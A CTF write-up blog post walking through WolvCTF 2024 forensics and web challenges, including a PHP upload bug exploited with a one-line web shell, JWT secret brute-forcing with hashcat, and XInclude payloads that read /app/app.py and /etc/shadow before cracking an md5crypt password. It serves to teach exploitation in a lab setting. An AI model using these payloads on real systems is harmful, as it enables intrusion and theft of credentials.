Post

WolvCTF 2024 - Writeups

This is a writeup for , forensics and web challenges from WolvCTF 2024

Forensics: Hidden Data [Beginner]

Question: WOLPHV sent me this file. Not sure what to comment about it

Flag: wctf{h1dd3n_d4t4_n0T_s0_h1dD3N}

We are given an image of the CTF logo. Just use Aperi’Solve and the flag can be found within its data.

beginner1.png

WEB: Upload Fun

Description: I made a website where you can upload files.

We are given a url on visting it we get php code.

We notice we can make POST and GET requests to the server. It seems we are restricted to files with .. in thier filename. We notice also the filename is uploaded to the server with a random 256 hash which we cannot guess outright.

We can upload a file name with the maximum number of characters to trigger an error and potentially leak the hash of the file. MAXIMUM NUMBER OF CHARACTERS OF A FILENAME IS 255

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
    if($_SERVER['REQUEST_METHOD'] == "POST"){
        if ($_FILES["f"]["size"] > 1000) {
            echo "file too large";
            return;
        }

        if (str_contains($_FILES["f"]["name"], "..")) {
            echo "no .. in filename please";
            return;
        }

        if (empty($_FILES["f"])){
            echo "empty file";
            return;
        }

        $ip = $_SERVER['REMOTE_ADDR'];
        $flag = file_get_contents("/flag.txt");
        $hash = hash('sha256', $flag . $ip);

        if (move_uploaded_file($_FILES["f"]["tmp_name"], "./uploads/" . $hash . "_" . $_FILES["f"]["name"])) {
            echo "upload success";
        } else {
            echo "upload error";
        }
    } else {
        if (isset($_GET["f"])) {
            $path = "./uploads/" . $_GET["f"];
            if (str_contains($path, "..")) {
                echo "no .. in f please";
                return;
            }
            include $path;
        }

        highlight_file("index.php");
    }
?>

I crafted a payload in burpsuite for POST request to the server

upload-fun1.png

We get the leaked hash in the response

upload-fun2.png

Testing if we can execute php codes upload-fun5.png upload-fun6.png Yes we can

We can now proceed and craft a parameter to execute our commands and upload it to our server

<?php system($_GET["some"]); ?> upload-fun4.png

Making a request to the server through our some parameter upload-fun3.png Flag: wctf{h0w_d1d_y0u_gu355_th3_f1l3n4me?_7523015134}

WEB: Username

When you go to the challenge page, you are prompted to register your username

Here is the source:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<html>

<head>

    <title>Register</title>

</head>

<h1>Please register your username:</h1>

<form action="/register" method="POST" enctype="application/x-www-form-urlencoded">

    <input type="text" name="username"/>

    <input type="submit" value="Submit" />

</form>

</html>

Submitting the form causes the following request/response:

Request

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
POST /register HTTP/2

Host: username-okntin33tq-ul.a.run.app

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Content-Type: application/x-www-form-urlencoded

Content-Length: 12

Origin: https://username-okntin33tq-ul.a.run.app

Referer: https://username-okntin33tq-ul.a.run.app/

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: same-origin

Sec-Fetch-User: ?1

Te: trailers

  

username=sam

Response

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
HTTP/2 302 Found

Content-Type: text/html; charset=utf-8

Set-Cookie: appdata=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjoiPGRhdGE-PHVzZXJuYW1lPnNhbTwvdXNlcm5hbWU-PC9kYXRhPiJ9.bo6oHNQHDYUNg4wOgLsd7Ey2aKsNUPopUuDmagLpCEU; Path=/

Location: /welcome

X-Cloud-Trace-Context: 43f8eebd7a72b2c81f0ead9c4ac2c554;o=1

Date: Sun, 17 Mar 2024 18:19:15 GMT

Server: Google Frontend

Content-Length: 9

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

  

hello sam

Notice two things here:

  • an appdata cookie is set

  • this is a 302 (redirect) response redirecting to /welcome

The browser then jumps to the /welcome resource which has this request/response:

/welcome Request

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
GET /welcome HTTP/2

Host: username-okntin33tq-ul.a.run.app

Cookie: appdata=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjoiPGRhdGE-PHVzZXJuYW1lPnNhbTwvdXNlcm5hbWU-PC9kYXRhPiJ9.bo6oHNQHDYUNg4wOgLsd7Ey2aKsNUPopUuDmagLpCEU

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Referer: https://username-okntin33tq-ul.a.run.app/

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: same-origin

Sec-Fetch-User: ?1

Te: trailers

  

/welcome Response

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
HTTP/2 200 OK

Content-Type: text/html; charset=utf-8

X-Cloud-Trace-Context: 5959be2418e677ee744754ce01280cb0

Date: Sun, 17 Mar 2024 18:19:15 GMT

Server: Google Frontend

Content-Length: 146

Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

  

<html>

<head>

    <title>Welcome</title>

</head>

<h1>Welcome</h1>

<div>Welcome sam</div>

<!-- TODO: Decide if /app/app.py is ok to use -->

</html>

Notice

  • the cookie (as expected) is sent to the /welcome resource.

  • the registered name appears in the page response

  • there is an HTML comment about /app/app.py

Note: It turns out there is an /app/app.py on the server and our goal is to eventually read the contents of that file somehow.

JWT Analysis

Those with more web experience will immediately notice the cookie as a JWT (JSON Web Token).

There are all kinds of resources online to learn more about JWTs.

A dead giveaway is:

  • it has three islands of text separated by two periods

  • first two islands starts with eyJ

A great place to decode a JWT is at jwt.io

When you paste the JWT into jwt.io, you’ll see something like this:

image-20240317143303096

The HEADER on the right is just telling you:

  • the signing algorithm is HS256

  • it really is a JWT (although this “typ” is optional according to the spec)

This is decoded from the base64 red text on the left:

1
2
3
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

Note: By design, JWTs never include any trailing =’s like you often see as padding characters in base64.

The PAYLOAD is always JSON.  The PAYLOAD is not encrypted by design.  (so never put anything secret inside it)

In the language of JWTs, this PAYLOAD has one “claim”:

1
2
3
data: <data><username>sam</username></data>

You can see that the data field is really just a small snippet of XML with “sam” insise the username element.

This is decoded from the purple base64 text on the left:

1
2
3
eyJkYXRhIjoiPGRhdGE-PHVzZXJuYW1lPnNhbTwvdXNlcm5hbWU-PC9kYXRhPiJ9

The last section is the SIGNATURE.

The signature is the aqua text on the left:

1
2
3
bo6oHNQHDYUNg4wOgLsd7Ey2aKsNUPopUuDmagLpCEU

This is also base64 but it decodes into binary so you can’t read it on the right.

jwt.io provides a box on the lower right where, if you know the signing secret then you can enter it.

The idea behind a JWT is there there is some secret that is used to cryptographically create a signature from the HEADER/PAYLOAD. That way, if someone tries to send your website and altered JWT (by hand-editing the PAYLOAD), then they won’t know the secret and so the signature they send won’t “match” the HEADER/PAYLOAD and your server can reject it.

Cracking JWTs

If you don’t know the secret, but want to find it out anyway, then you have to “crack” the secret.

There are lots of websites that talk about JWT cracking.  There are several possible approaches that all depend on the type of algorithm used to perform the signing.

If the algorithm is HS### (such as our HS256), then after doing some online research, there are only a few options available to try:

  • “alg”: “none”

  - See the “Removing the signature” section here: https://debricked.com/blog/json-web-tokens/

  • Dictionary attack: Looking up the secret in an online word list

  • Bruteforce attack: try all 1 character strings, then try all 2 character strings, etc…

See “Cracking weak shared secrets” on this page:

https://infosecwriteups.com/attacks-on-json-web-token-jwt-278a49a1ad2e

With some experience, it is easy to try to alg/none attack here but that won’t work with this challenge.

Next, you could try the “rockyou” word list (google it) and you’d find that doesn’t help either.

That leaves Brute Forcing.

The hint that the JWT secret was not in any word list was released a few hours after the CTF event started based on user feedback.

There are several tools available to help crack JWTs.  Here I’m going to use hashcat.

1
2
3
hashcat --potfile-disable -a 3 -m 16500 jwt.txt -O

Here are the options explained:

  • –potfile-disable: hashcat keeps a record of cracked hashes so if you run it a second time “nothing” seems to happen. This option makes it so you can run many times in a row as if it were the “first time”

  • -a 3: attack mode = brute force

  • -m 16500: tells hashcat that we are trying to crack a JWT

  - If you didn’t know this, run hashcat --help and it will list the 8 million formats it supports

  • jwt.txt: the local file containing the full JWT (that you pasted into jwt.io)

  • -O: optimize (honestly not sure if this actually makes it go faster in practice)

Running this will cause a bunch of stuff to scroll by.  If it succeeds, you’ll see the last bit of text output will look like this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjoiPGRhdGE-PHVzZXJuYW1lPnNhbTwvdXNlcm5hbWU-PC9kYXRhPiJ9.bo6oHNQHDYUNg4wOgLsd7Ey2aKsNUPopUuDmagLpCEU:mstzt

  

Session..........: hashcat

Status...........: Cracked

Hash.Mode........: 16500 (JWT (JSON Web Token))

Hash.Target......: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjoiPG...gLpCEU

Time.Started.....: Sun Mar 17 15:12:24 2024 (7 secs)

Time.Estimated...: Sun Mar 17 15:12:31 2024 (0 secs)

Kernel.Feature...: Pure Kernel

Guess.Mask.......: ?1?2?2?2?2 [5]

Guess.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d*!$@_, -4 Undefined

Guess.Queue......: 5/15 (33.33%)

Speed.#3.........:  4888.1 kH/s (6.32ms) @ Accel:64 Loops:31 Thr:1 Vec:4

Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)

Progress.........: 36029440/104136192 (34.60%)

Rejected.........: 0/36029440 (0.00%)

Restore.Point....: 580608/1679616 (34.57%)

Restore.Sub.#3...: Salt:0 Amplifier:0-31 Iteration:0-31

Candidate.Engine.: Device Generator

Candidates.#3....: saruk -> 7m3j0

Hardware.Mon.SMC.: Fan0: 33%, Fan1: 33%

Hardware.Mon.#3..: Temp: 58c

  

Started: Sun Mar 17 15:12:18 2024

Stopped: Sun Mar 17 15:12:32 2024

You can see it took about 14 seconds.

You might be wondering WHERE is the secret that it found?

It really is not obvious in this output.

Notice the mstzt to the right of the token in the first line of the above output?

That is the HS256 secret!

Note: In practice, I personally do try brute forcing on JWTs after first trying alg/none and rockyou.txt.  I tend to let it run at most 20 minutes figuring the author wouldn’t want me to spend any more time than that. I understand others might have a different perspective here. This is why the hint was added.

XML Injection

Now that we know the secret, we can use jwt.io or write python code to generate forged tokens with any PAYLOAD we like.

As an example, here I replaced “sam” with “jane” after putting the secret into the lower-right box.

Note: Be sure to clear out the EXISTING text in the lower-right window before you paste in the secret.

image-20240317153604505

If you take the forged token on the left and overwrite your existing cookie with this new value, then /welcome will say “Welcome jane”

Of course, this doesn’t help us.

The experienced contestant will piece together the following facts:

  • we are trying to read /app/app.py from the server

  • we have the ability to send XML of our choosing to the server and PART of that XML content is echoed back to us

and reasonably consider the following:

  • XXE (XML External Entity) attack

  • SSTI (Server Side Template Injection)

There are lots of resources online to learn more about these attacks.

If you try SSTI, you will see it does not help.

If you try XXE, here is one resource:

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection

You might try XML like the following:

Note: You can use python’s json module to format the xml payload to JSON string

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0"?>

<!DOCTYPE data [

<!ENTITY file SYSTEM "file:///app/app.py">

]>

<data><username>&file;</username></data>

If we make this all one line and deal with quoting escaping, here is what a jwt.io PAYLOAD might look like:

1
2
3
4
5
6
7
{

  "data": "<?xml version=\"1.0\"?><!DOCTYPE data [<!ENTITY file SYSTEM \"file:///app/app.py\">]><data><username>&file;</username></data>"

}

This produces a JWT like:

1
2
3
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJkYXRhIjoiPD94bWwgdmVyc2lvbj1cIjEuMFwiPz48IURPQ1RZUEUgZGF0YSBbPCFFTlRJVFkgZmlsZSBTWVNURU0gXCJmaWxlOi8vL2FwcC9hcHAucHlcIj5dPjxkYXRhPjx1c2VybmFtZT4mZmlsZTs8L3VzZXJuYW1lPjwvZGF0YT4ifQ.A_oxB1nuypCU7nDlHWjlfiBme9Aqvq7kSzsi91cSZFk

If we try this as our cookie value we get this: (here I’m using Burp’s Repeater functionality)

image-20240317155705413

It is telling us that entity references (like the &file;) are not allowed.

If we knew XML even better and tried to use something called “Parameter Entity” which start with a % symbol, we’d find those are not allowed either.

So… what do to???

In the same XXE link above, there is a section labeled: XInclude attacks

It turns out this is an alternative approach when XML entities are not allowed.  Or… sometimes XML entities are allowed BUT they are not expanded.

To mimic the example from this web page, let’s try the following attack (all one line)

You only want to include the <username> element in the XML data and remove the foo element from the original payload

1
2
3
<data><username><xi:include xmlns:xi="http://www.w3.org/2001/XInclude" parse="text" href="file:///app/app.py"/></username></data>

Note: The parse="text" is really REALLY important.  It tells the XML processor to NOT try to parse the included content as XML.

Our updated PAYLOAD will be:

1
2
3
4
5
6
7
{

  "data": "<data><username><xi:include xmlns:xi=\"http://www.w3.org/2001/XInclude\" parse=\"text\" href=\"file:///app/app.py\"/></username></data>"

}

If we use jwt.io to forge this token and sent it with Burp Repeater, we get this:

image-20240317160930297

We were able to read the /app/app.py file!

Note: This will be HTML encoded so take this output and find an online HTML decoder.

After HTML decoding, we get this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
import flask

from flask import Flask, render_template, request, url_for

import jwt

from lxml import etree

import os

import re

import tempfile

  

app = Flask(__name__)

  

FLAG = os.environ.get('FLAG') or 'wcft{fake-flag}'

FLAGUSER_PASSWORD = os.environ.get('FLAGUSER_PASSWORD') or 'fake-password'

  

JWT_SECRET = os.environ.get('JWT_SECRET') or 'secret'

  

JWT_ALG = 'HS256'

JWT_COOKIE = 'appdata'

  
  

@app.route('/')

def root():

    return render_template("index.html")

  
  

@app.route('/secret-welcome-935734', methods=['GET'])

def secret_welcome():

    # There is a linux user named 'flaguser'

    # Login here with that username and their linux password.

    auth = request.authorization

  

    if auth is None or auth.username != 'flaguser' or auth.password != FLAGUSER_PASSWORD:

        resp = flask.Response('Please provide the right credentials to get the flag')

        resp.headers['WWW-Authenticate'] = 'Basic'

        return resp, 401

  

    return f'Congrats, here is your flag: {FLAG}'

  
  

@app.route('/welcome', methods=['GET'])

def welcome():

    cookie = request.cookies.get(JWT_COOKIE)

  

    if not cookie:

        return f'Error: missing {JWT_COOKIE} cookie value'

  

    try:

        jwtData = jwt.decode(cookie, JWT_SECRET, algorithms=[JWT_ALG])

    except:

        return 'Error: unable to decode JWT cookie', 400

  

    data = jwtData['data']

    if not data:

        return 'Error: missing data field from decoded JWT', 400

  

    xmlText = str(data)

    if '&' in xmlText:

        return 'Error: No entity references please', 400

    if '%' in xmlText:

        return 'Error: No parameter file entities please', 400

  

    tmp = tempfile.NamedTemporaryFile()

  

    # Open the file for writing.

    with open(tmp.name, 'w') as f:

        f.write(xmlText)

  

    try:

        parser = etree.XMLParser(resolve_entities=False)

        xmlDoc = etree.parse(tmp.name, parser=parser)

        xmlDoc.xinclude()

    except Exception as e:

        print('XML Error:', e)

        return 'Error: Error parsing XML', 400

  
  

    usernameElement = xmlDoc.find('username')

    if usernameElement is None:

        return 'Error: Missing username element in XML', 400

  

    username = usernameElement.text

  

    return render_template("welcome.html", username=username)

  
  

@app.route('/register', methods=['POST'])

def register():

    username = request.form.get('username')

  

    if not username:

        return 'Error: username is required', 400

  

    username = str(username)

  

    if not re.match('^[a-z]+$', username):

        return 'Error: username must be only lowercase letters', 400

  

    if len(username) < 3:

        return 'Error: username must be at least 3 letters', 400

  

    if len(username) > 20:

        return 'Error: username must be no longer than 20 letters', 400

  

    # Useful for chal development

    # username = '<xi:include xmlns:xi="http://www.w3.org/2001/XInclude" href="/app/app.py" parse="text"/>'

    xml = f'<data><username>{username}</username></data>'

  

    jwtData = {"data": xml}

  

    cookie = jwt.encode(jwtData, JWT_SECRET, algorithm=JWT_ALG)

  

    response = flask.make_response(f'hello {username}')

    response.set_cookie(JWT_COOKIE, cookie)

  

    response.headers['location'] = url_for('welcome')

    return response, 302

  

if __name__ == "__main__":

    app.run(debug=False)

  

Where is the FLAG?

We can tell from this source code and its comments that:

  • the flag is in environment variable named FLAG

  • there is a /secret-welcome-935734 endpoint that will return the flag IF we give it some special username/password

For this who know about Linux, a process’ environment is available at a magic file path: /proc/self/environ

However, if we try to read this file path like we read /app/app.py we get this returned:

1
2
3
Error: Error parsing XML

This is because /proc/self/environ returns a mixture of text and binary data and something about the binary data causes this error even though we parse="text".

Maybe there is some way to read it like this but I don’t know how.

That leaves the /secret-welcome-935734 endpoint.

We see this endpoint wants us to provide basic-auth credentials with:

1
2
3
4
5
username: flaguser

password: linux password of flag user

We know this from these comments:

1
2
3
4
5
    # There is a linux user named 'flaguser'

    # Login here with that username and their linux password.

Cracking a Linux Password

How can we learn the password of a Linux user named flaguser?

If you google around a bit, you might learn about the /etc/shadow file.

If we use our JWT forging powers to read this file we get:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Welcome root:*:19764:0:99999:7:::

daemon:*:19764:0:99999:7:::

bin:*:19764:0:99999:7:::

sys:*:19764:0:99999:7:::

sync:*:19764:0:99999:7:::

games:*:19764:0:99999:7:::

man:*:19764:0:99999:7:::

lp:*:19764:0:99999:7:::

mail:*:19764:0:99999:7:::

news:*:19764:0:99999:7:::

uucp:*:19764:0:99999:7:::

proxy:*:19764:0:99999:7:::

www-data:*:19764:0:99999:7:::

backup:*:19764:0:99999:7:::

list:*:19764:0:99999:7:::

irc:*:19764:0:99999:7:::

_apt:*:19764:0:99999:7:::

nobody:*:19764:0:99999:7:::

flaguser:$1$hack$BzqsFHqkPjQ2Sn9amFsgN0:19767:0:99999:7:::

Now we need to crack this flaguser hash.

If we check some online resources, we will learn that the actual hash is just part of the above line:

1
2
3
$1$hack$BzqsFHqkPjQ2Sn9amFsgN0

But what hash format is this in?

While I prefer hashcat, one trick I like to use is to let an alternative program called john to identify the hash for me.

Let’s put this hash in john.txt and run:

1
2
3
john john.txt

The first line that comes out is:

1
2
3
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"

If we run hashcat --help and search for md5crypt we get:

1
2
3
 500 | md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)

So 500 is the mode we want with hashcat.

Just as before, we have the option of using a dictionary or brute forcing.

You can try a file like rockyou.txt but that won’t find it.

Next let’s try brute forcing:

1
2
3
hashcat --potfile-disable -a 3 -m 500 john.txt

Similar arguments as before but -m is different this time.

This ends with the following output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
$1$hack$BzqsFHqkPjQ2Sn9amFsgN0:qqz3

  

Session..........: hashcat

Status...........: Cracked

Hash.Mode........: 500 (md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5))

Hash.Target......: $1$hack$BzqsFHqkPjQ2Sn9amFsgN0

Time.Started.....: Sun Mar 17 16:42:37 2024 (45 secs)

Time.Estimated...: Sun Mar 17 16:43:22 2024 (0 secs)

Kernel.Feature...: Pure Kernel

Guess.Mask.......: ?1?2?2?2 [4]

Guess.Charset....: -1 ?l?d?u, -2 ?l?d, -3 ?l?d*!$@_, -4 Undefined

Guess.Queue......: 4/15 (26.67%)

Speed.#3.........:    54264 H/s (9.82ms) @ Accel:256 Loops:125 Thr:1 Vec:4

Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)

Progress.........: 2453504/2892672 (84.82%)

Rejected.........: 0/2453504 (0.00%)

Restore.Point....: 36864/46656 (79.01%)

Restore.Sub.#3...: Salt:0 Amplifier:40-41 Iteration:875-1000

Candidate.Engine.: Device Generator

Candidates.#3....: qaz3 -> qb4o

Hardware.Mon.SMC.: Fan0: 66%, Fan1: 66%

Hardware.Mon.#3..: Temp: 82c

  

Started: Sun Mar 17 16:42:29 2024

Stopped: Sun Mar 17 16:43:24 2024

This ran in just under one minute and yields the secret: qqz3

Getting the Flag

We can now use a browser to go to the secret endpoint and enter these credentials:

1
2
3
4
5
username: flaguser

password: qqz3

image-20240317164629924

and we are given the flag:

Congrats, here is your flag: wctf{cr4ck1n_4nd_1nclud1n_4_th3_w1n_1352234}

FORENSICS: Eternally Pwned: Infiltration

Description: I recently had my passwords and other sensitive data leaked, but I have no idea how. Can you figure out how the attacker got in to my PC?

We are given a pcap file upon analyzing it in Wireshark under protocol hierarchy we establish there is HTTP , SMB etc. Checking the http traffic we see requests for normal browsing sessions. On SMB we find interesting base64 strings as shown below.

wireshark

Decoding it on CyberChef we get our flag

cyberchef

flag: wctf{l3tS_3teRn4lLy_g0_bLU3_7n9wm4iWnL} Reminds me of the famous eternal blue windows exploit Eternal Blue

FORENSICS: Eternally Pwned Persistence

Description: I get that the attackers were in my PC, but how did they achieve persistence?

To analyze how attackers achieved persistence on your system, we can utilize Volatility, a popular open-source memory forensics framework. With a memory dump provided, we can extract valuable information to understand the techniques used by the attackers to maintain access to the system. I did use Volatitilty3 for this challenge.

python vol.py -f MEMORY.DMP windows.pslist I found a suspicious process with the name cGFzdGViaW4uY2 with the pid : 1804

cmd

I proceeded with the analysis with checking the command line arguments using Volatitilty’s module windows.cmdline and found the suspicious process full path with it’s file name encoded in base64 cyberchef

Decoding it on CyberChef I got a pastebin link cyberchef

cyberchef

This post is licensed under CC BY 4.0 by the author.